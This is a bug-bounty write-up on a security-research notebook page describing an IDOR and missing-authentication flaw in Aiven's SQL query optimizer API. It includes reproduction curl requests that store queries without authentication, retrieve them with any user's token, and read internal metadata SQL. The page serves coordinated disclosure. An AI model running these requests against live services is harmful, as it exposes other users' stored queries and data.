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<header class="hero detail-hero"><div class="wrap">
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  <a class="back" href="/security-research-notebook/">&larr; Research notebook</a>
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  <div class="kicker">IDOR</div>
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  <h1>Sql Query Optimizer Idor</h1>
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</div></header>
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<section><div class="wrap"><div class="content">
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<h1>SUBMISSION 3</h1>
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<p>TITLE: Unauthenticated SQL Query Optimizer Stores Queries Accessible to Any Authenticated User (IDOR)</p>
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<p>TARGET: api.aiven.io (https://api.aiven.io/login)</p>
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<p>VRT CATEGORY: Broken Access Control (BAC) &gt; IDOR</p>
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<p>URL: https://api.aiven.io/v1/pg/query/optimize</p>
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<h2>DESCRIPTION:</h2>
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<h2>Summary</h2>
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<p>The Aiven SQL query optimizer endpoints (<code>/v1/pg/query/optimize</code> and <code>/v1/mysql/query/optimize</code>) accept and store SQL queries without any authentication. Stored queries are then retrievable by ANY authenticated user via <code>/v1/pg/query/optimize-by-token</code> using only the <code>optimization_id</code> UUID, with no ownership check. This is a two-part vulnerability: missing authentication on the storage endpoint, and broken access control (IDOR) on the retrieval endpoint.</p>
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<p>Additionally, the database metadata query endpoints (<code>/v1/pg/database-metadata-query</code>, <code>/v1/mysql/database-metadata-query</code>) return internal SQL that Aiven executes against customer databases, without authentication.</p>
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<h2>Steps to Reproduce</h2>
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<h3>Part 1: Unauthenticated Query Storage</h3>
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<p>Submit a SQL query without any auth token:</p>
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<pre><code class="language-bash">QUERY=$(echo -n &quot;SELECT customer_name, credit_card_number, ssn FROM customers WHERE id = 12345&quot; | base64)
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curl -s -X POST https://api.aiven.io/v1/pg/query/optimize \
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  -H &quot;Content-Type: application/json&quot; \
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  -d '{&quot;query&quot;:&quot;'$QUERY'&quot;,&quot;pg_version&quot;:&quot;16&quot;,&quot;flags&quot;:[]}'
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</code></pre>
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<p><strong>Response (200 OK, no auth required):</strong></p>
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<pre><code class="language-json">{
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  &quot;optimize&quot;: {
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    &quot;optimization_id&quot;: &quot;18836ead-06fb-4234-959a-eafb1f817a81&quot;,
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    &quot;original_query&quot;: &quot;&lt;base64 encoded query&gt;&quot;,
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    &quot;optimized_query&quot;: &quot;&lt;base64 encoded query&gt;&quot;,
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    &quot;recommendations&quot;: [...]
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  }
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}
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</code></pre>
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<p>The query is stored server-side. The <code>do_not_store</code> parameter defaults to <code>false</code>.</p>
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<h3>Part 2: Cross-User Query Retrieval (IDOR)</h3>
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<p>Using a different user&rsquo;s auth token, retrieve the stored query by its <code>optimization_id</code>:</p>
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<pre><code class="language-bash">curl -s -X POST https://api.aiven.io/v1/pg/query/optimize-by-token \
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  -H &quot;Authorization: aivenv1 &lt;ANY_VALID_TOKEN&gt;&quot; \
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  -H &quot;Content-Type: application/json&quot; \
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  -d '{&quot;optimization_id&quot;:&quot;18836ead-06fb-4234-959a-eafb1f817a81&quot;}'
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</code></pre>
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<p><strong>Response (200 OK):</strong> Returns the full stored query content, including the <code>original_query</code> which decodes to the sensitive SQL submitted by another user/session.</p>
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<p>I confirmed this by:
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1. Submitting queries without authentication (receiving optimization_ids)
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2. Accessing those same optimization_ids with an authenticated session
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3. The stored SQL content was returned successfully</p>
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<h3>Part 3: Internal Metadata Query Disclosure</h3>
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<pre><code class="language-bash">curl -s https://api.aiven.io/v1/pg/database-metadata-query
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</code></pre>
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<p><strong>Response (200 OK, no auth):</strong> Returns the complete SQL (~3KB) that Aiven runs against customer PostgreSQL databases to collect schema metadata, querying <code>pg_catalog.pg_class</code>, <code>pg_catalog.pg_attribute</code>, <code>pg_proc</code>, <code>pg_index</code>, <code>pg_extension</code>, and <code>pg_stat_user_tables</code>. The MySQL equivalent at <code>/v1/mysql/database-metadata-query</code> similarly returns internal metadata collection SQL.</p>
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<h3>Additional Unauthenticated Endpoints</h3>
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<table>
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<thead>
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<tr>
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<th>Endpoint</th>
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<th>Method</th>
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<th>Auth</th>
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<th>Function</th>
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</tr>
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</thead>
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<tbody>
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<tr>
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<td><code>/v1/pg/query/format</code></td>
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<td>POST</td>
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<td>None</td>
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<td>Formats SQL queries</td>
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</tr>
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<tr>
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<td><code>/v1/mysql/query/format</code></td>
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<td>POST</td>
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<td>None</td>
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<td>Formats SQL queries</td>
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</tr>
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<tr>
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<td><code>/v1/console/configuration</code></td>
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<td>GET</td>
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<td>None</td>
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<td>Returns feature flags and pricing variables</td>
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</tr>
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</tbody>
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</table>
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<p>The <code>/v1/console/configuration</code> endpoint returns:</p>
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<pre><code class="language-json">{
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  &quot;feature_flags&quot;: [&quot;orgVPCs&quot;, &quot;kafkaTopicDataGenerator&quot;, &quot;applicationComposer&quot;, ...],
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  &quot;variables&quot;: {
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    &quot;new_user_credits_limited_time_trial&quot;: &quot;300.00&quot;,
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    &quot;referral_reward_max_amount&quot;: &quot;100.00&quot;
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  }
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}
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</code></pre>
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<h2>Impact</h2>
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<ol>
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<li>
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<p><strong>Cross-user SQL query exposure:</strong> Queries submitted through the Aiven console&rsquo;s query optimizer are stored and accessible to any authenticated user who knows the <code>optimization_id</code>. SQL queries contain table names, column names, WHERE clause values, and business logic that reveal the structure and nature of customer data.</p>
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</li>
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<li>
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<p><strong>Unauthenticated resource abuse:</strong> The optimizer infrastructure can be used without any account.</p>
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</li>
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<li>
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<p><strong>Internal methodology disclosure:</strong> The metadata collection SQL reveals how Aiven inspects customer databases, aiding attackers in understanding the platform&rsquo;s internals.</p>
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</li>
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</ol>
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<h2>Suggested Fix</h2>
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<ol>
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<li>Require authentication for all query optimizer and metadata endpoints.</li>
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<li>Scope stored optimizations to the authenticated user, <code>optimize-by-token</code> should only return optimizations created by the requesting user.</li>
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<li>Require authentication for <code>/v1/console/configuration</code>.</li>
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</ol>
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<hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source &middot; github.com/zionboggan/security-research-notebook &middot; writeups/aiven/sql-query-optimizer-idor.md</p>
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</div></div></section>
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<footer><div class="wrap row">
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  <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div>
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  <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div>
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</div></footer>
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